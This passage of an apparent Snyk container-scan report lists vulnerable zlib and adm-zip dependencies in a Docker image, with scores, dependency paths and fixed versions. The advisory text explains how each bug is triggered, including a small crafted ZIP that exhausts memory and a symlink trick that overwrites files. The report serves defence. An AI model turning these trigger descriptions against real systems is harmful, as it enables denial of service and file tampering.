"title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393"
},
{
"url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate",
"title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nUpgrade `Alpine:3.23` `zlib` to version 1.3.2-r1 or higher.\n## References\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n",
"epssDetails": {
"percentile": "0.27225",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-85091"
],
"CWE": [
"CWE-787"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "zlib",
"creationTime": "2026-10-07T03:03:50.501449Z",
"disclosureTime": "2026-09-03T13:06:20.573000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "alpine:3.23",
"publicationTime": "2026-10-07T03:03:50.509150Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T15:12:02.003141Z",
"socialTrendAlert": false,
"relativeImportance": null,
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-scope-docs@20260604.90",
"zlib/zlib@1.3.2-r0"
],
"upgradePath": [
false,
"zlib/zlib@1.3.2-r1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "zlib/zlib",
"version": "1.3.2-r0",
"nearestFixedInVersion": "1.3.2-r1",
"dockerfileInstruction": "apk add --no-cache bash curl"
},
{
"id": "SNYK-ALPINE323-ZLIB-20541565",
"cpes": [],
"title": "Out-of-bounds Write",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<1.3.2-r1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.3.2-r1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490",
"title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490"
},
{
"url": "https://github.com/madler/zlib",
"title": "https://github.com/madler/zlib"
},
{
"url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393",
"title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393"
},
{
"url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate",
"title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nUpgrade `Alpine:3.23` `zlib` to version 1.3.2-r1 or higher.\n## References\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n",
"epssDetails": {
"percentile": "0.27225",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-85091"
],
"CWE": [
"CWE-787"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "zlib",
"creationTime": "2026-10-07T03:03:50.501449Z",
"disclosureTime": "2026-09-03T13:06:20.573000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "alpine:3.23",
"publicationTime": "2026-10-07T03:03:50.509150Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T15:12:02.003141Z",
"socialTrendAlert": false,
"relativeImportance": null,
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-scope-docs@20260604.90",
"apk-tools/apk-tools@3.0.6-r0",
"zlib/zlib@1.3.2-r0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib",
"version": "1.3.2-r0",
"nearestFixedInVersion": "1.3.2-r1",
"dockerfileInstruction": "apk add --no-cache bash curl"
},
{
"id": "SNYK-ALPINE323-ZLIB-20541565",
"cpes": [],
"title": "Out-of-bounds Write",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<1.3.2-r1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.3.2-r1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490",
"title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490"
},
{
"url": "https://github.com/madler/zlib",
"title": "https://github.com/madler/zlib"
},
{
"url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393",
"title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393"
},
{
"url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate",
"title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nUpgrade `Alpine:3.23` `zlib` to version 1.3.2-r1 or higher.\n## References\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n",
"epssDetails": {
"percentile": "0.27225",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-85091"
],
"CWE": [
"CWE-787"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "zlib",
"creationTime": "2026-10-07T03:03:50.501449Z",
"disclosureTime": "2026-09-03T13:06:20.573000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "alpine:3.23",
"publicationTime": "2026-10-07T03:03:50.509150Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T15:12:02.003141Z",
"socialTrendAlert": false,
"relativeImportance": null,
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-scope-docs@20260604.90",
"curl/curl@8.19.0-r0",
"zlib/zlib@1.3.2-r0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib",
"version": "1.3.2-r0",
"nearestFixedInVersion": "1.3.2-r1",
"dockerfileInstruction": "apk add --no-cache bash curl"
},
{
"id": "SNYK-ALPINE323-ZLIB-20541565",
"cpes": [],
"title": "Out-of-bounds Write",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<1.3.2-r1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.3.2-r1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490",
"title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490"
},
{
"url": "https://github.com/madler/zlib",
"title": "https://github.com/madler/zlib"
},
{
"url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393",
"title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393"
},
{
"url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate",
"title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nUpgrade `Alpine:3.23` `zlib` to version 1.3.2-r1 or higher.\n## References\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n",
"epssDetails": {
"percentile": "0.27225",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-85091"
],
"CWE": [
"CWE-787"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "zlib",
"creationTime": "2026-10-07T03:03:50.501449Z",
"disclosureTime": "2026-09-03T13:06:20.573000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "alpine:3.23",
"publicationTime": "2026-10-07T03:03:50.509150Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T15:12:02.003141Z",
"socialTrendAlert": false,
"relativeImportance": null,
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-scope-docs@20260604.90",
"apk-tools/apk-tools@3.0.6-r0",
"apk-tools/libapk@3.0.6-r0",
"zlib/zlib@1.3.2-r0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib",
"version": "1.3.2-r0",
"nearestFixedInVersion": "1.3.2-r1",
"dockerfileInstruction": "apk add --no-cache bash curl"
},
{
"id": "SNYK-ALPINE323-ZLIB-20541565",
"cpes": [],
"title": "Out-of-bounds Write",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<1.3.2-r1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.3.2-r1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490",
"title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490"
},
{
"url": "https://github.com/madler/zlib",
"title": "https://github.com/madler/zlib"
},
{
"url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393",
"title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393"
},
{
"url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate",
"title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nUpgrade `Alpine:3.23` `zlib` to version 1.3.2-r1 or higher.\n## References\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n",
"epssDetails": {
"percentile": "0.27225",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-85091"
],
"CWE": [
"CWE-787"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "zlib",
"creationTime": "2026-10-07T03:03:50.501449Z",
"disclosureTime": "2026-09-03T13:06:20.573000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "alpine:3.23",
"publicationTime": "2026-10-07T03:03:50.509150Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T15:12:02.003141Z",
"socialTrendAlert": false,
"relativeImportance": null,
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-scope-docs@20260604.90",
"curl/curl@8.19.0-r0",
"curl/libcurl@8.19.0-r0",
"zlib/zlib@1.3.2-r0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib",
"version": "1.3.2-r0",
"nearestFixedInVersion": "1.3.2-r1",
"dockerfileInstruction": "apk add --no-cache bash curl"
}
],
"ok": false,
"dependencyCount": 31,
"org": "sean.graham",
"policy": "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities.\nversion: v1.25.1\nignore: {}\npatch: {}\n",
"isPrivate": true,
"licensesPolicy": {
"severities": {},
"orgLicenseRules": {
"AGPL-1.0": {
"licenseType": "AGPL-1.0",
"severity": "high",
"instructions": ""
},
"AGPL-3.0": {
"licenseType": "AGPL-3.0",
"severity": "high",
"instructions": ""
},
"Artistic-1.0": {
"licenseType": "Artistic-1.0",
"severity": "medium",
"instructions": ""
},
"Artistic-2.0": {
"licenseType": "Artistic-2.0",
"severity": "medium",
"instructions": ""
},
"CDDL-1.0": {
"licenseType": "CDDL-1.0",
"severity": "medium",
"instructions": ""
},
"CPOL-1.02": {
"licenseType": "CPOL-1.02",
"severity": "high",
"instructions": ""
},
"EPL-1.0": {
"licenseType": "EPL-1.0",
"severity": "medium",
"instructions": ""
},
"GPL-2.0": {
"licenseType": "GPL-2.0",
"severity": "high",
"instructions": ""
},
"GPL-3.0": {
"licenseType": "GPL-3.0",
"severity": "high",
"instructions": ""
},
"LGPL-2.0": {
"licenseType": "LGPL-2.0",
"severity": "medium",
"instructions": ""
},
"LGPL-2.1": {
"licenseType": "LGPL-2.1",
"severity": "medium",
"instructions": ""
},
"LGPL-3.0": {
"licenseType": "LGPL-3.0",
"severity": "medium",
"instructions": ""
},
"MPL-1.1": {
"licenseType": "MPL-1.1",
"severity": "medium",
"instructions": ""
},
"MPL-2.0": {
"licenseType": "MPL-2.0",
"severity": "medium",
"instructions": ""
},
"MS-RL": {
"licenseType": "MS-RL",
"severity": "medium",
"instructions": ""
},
"SimPL-2.0": {
"licenseType": "SimPL-2.0",
"severity": "high",
"instructions": ""
}
}
},
"packageManager": "apk",
"ignoreSettings": {
"adminOnly": false,
"reasonRequired": false,
"disregardFilesystemIgnores": false,
"autoApproveIgnores": false,
"approvalWorkflowEnabled": false
},
"docker": {
"binariesVulns": {
"issuesData": {},
"affectedPkgs": {}
},
"os": {
"prettyName": "Alpine Linux v3.23"
}
},
"summary": "11 high or critical severity vulnerable dependency paths",
"severityThreshold": "high",
"filesystemPolicy": false,
"filtered": {
"ignore": [],
"patch": []
},
"uniqueCount": 3,
"projectName": "docker-image|docker.io/scopear/docker-scope-docs",
"platform": "linux/amd64",
"hasUnknownVersions": false,
"path": "docker.io/scopear/docker-scope-docs:20260604.90/scopear/docker-scope-docs",
"applications": [
{
"vulnerabilities": [
{
"id": "SNYK-JS-ADMZIP-17954277",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<0.5.18"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.5.18"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "adm-zip",
"references": [
{
"url": "https://github.com/cthackers/adm-zip/commit/44da7eaa14ca13a0e8a14ff9530075c620b18bcd",
"title": "GitHub Commit"
},
{
"url": "https://github.com/cthackers/adm-zip/issues/568",
"title": "GitHub Issue"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499083",
"title": "Red Hat Bugzilla Bug"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-07-15T14:09:06.634295Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-19T14:06:37.798909Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T14:06:37.798909Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-15T14:09:06.634295Z"
}
],
"description": "## Overview\n[adm-zip](https://www.npmjs.com/package/adm-zip) is a JavaScript implementation for zip data compression for NodeJS.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in `zipEntry.js` and `entryHeader.js`, which size a `Buffer.alloc()` call directly from the uncompressed-size field of a ZIP central directory header without validating it. An attacker can crash the process with an out-of-memory condition by supplying a small ZIP file, around 120 bytes, whose header declares a roughly 4 GB uncompressed size, triggering the oversized allocation before any CRC check.\n## Remediation\nUpgrade `adm-zip` to version 0.5.18 or higher.\n## References\n- [GitHub Commit](https://github.com/cthackers/adm-zip/commit/44da7eaa14ca13a0e8a14ff9530075c620b18bcd)\n- [GitHub Issue](https://github.com/cthackers/adm-zip/issues/568)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2499083)\n",
"epssDetails": {
"percentile": "0.56324",
"probability": "0.00841",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-39244"
],
"CWE": [
"CWE-770"
]
},
"packageName": "adm-zip",
"proprietary": false,
"creationTime": "2026-07-12T09:39:53.507360Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-10T18:31:22Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-12T09:39:53.738821Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-19T14:06:37.798909Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"adm-zip@0.5.16"
],
"upgradePath": [
false,
"adm-zip@0.5.18"
],
"isUpgradable": true,
"isPatchable": false,
"name": "adm-zip",
"version": "0.5.16"
},
{
"id": "SNYK-JS-ADMZIP-19276676",
"title": "Symlink Attack",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
"credit": [
"Muhammad Sobirov"
],
"semver": {
"vulnerable": [
">=0.5.9 <0.6.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"0.6.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "adm-zip",
"references": [
{
"url": "https://github.com/cthackers/adm-zip/blob/v0.6.0/util/utils.js",
"title": "github.com"
},
{
"url": "https://github.com/openbrf/openbrf/commit/db32272c2eb5324eb3df46c39a53381efea209f4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/cthackers/adm-zip/issues/574",
"title": "GitHub Issue"
},
{
"url": "https://github.com/cthackers/adm-zip/blob/2b4d84087d45344643e0183756e19191d52815cc/util/utils.js%23L65-L88",
"title": "Vulnerable Code utils.js:65-88"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-08-25T01:29:56.558038Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-08-28T14:00:01.645132Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:13:10.091074Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:13:10.091074Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-25T01:29:56.558038Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-28T14:00:01.645132Z"
}
],
"description": "## Overview\n[adm-zip](https://www.npmjs.com/package/adm-zip) is a JavaScript implementation for zip data compression for NodeJS.\n\nAffected versions of this package are vulnerable to Symlink Attack through the `extractAllTo`, `extractAllToAsync`, and `extractEntryTo` code paths in `util/utils.js`. An attacker can write attacker-controlled contents outside the extraction root by placing a symbolic link inside the destination directory and then supplying an archive entry that is extracted with overwrite enabled. This can replace any file the extracting process is allowed to write, breaking the integrity of files in shared, reused, or predictable extraction locations such as temporary directories or CI workspaces.\n## Remediation\nUpgrade `adm-zip` to version 0.6.1 or higher.\n## References\n- [github.com](https://github.com/cthackers/adm-zip/blob/v0.6.0/util/utils.js)\n- [GitHub 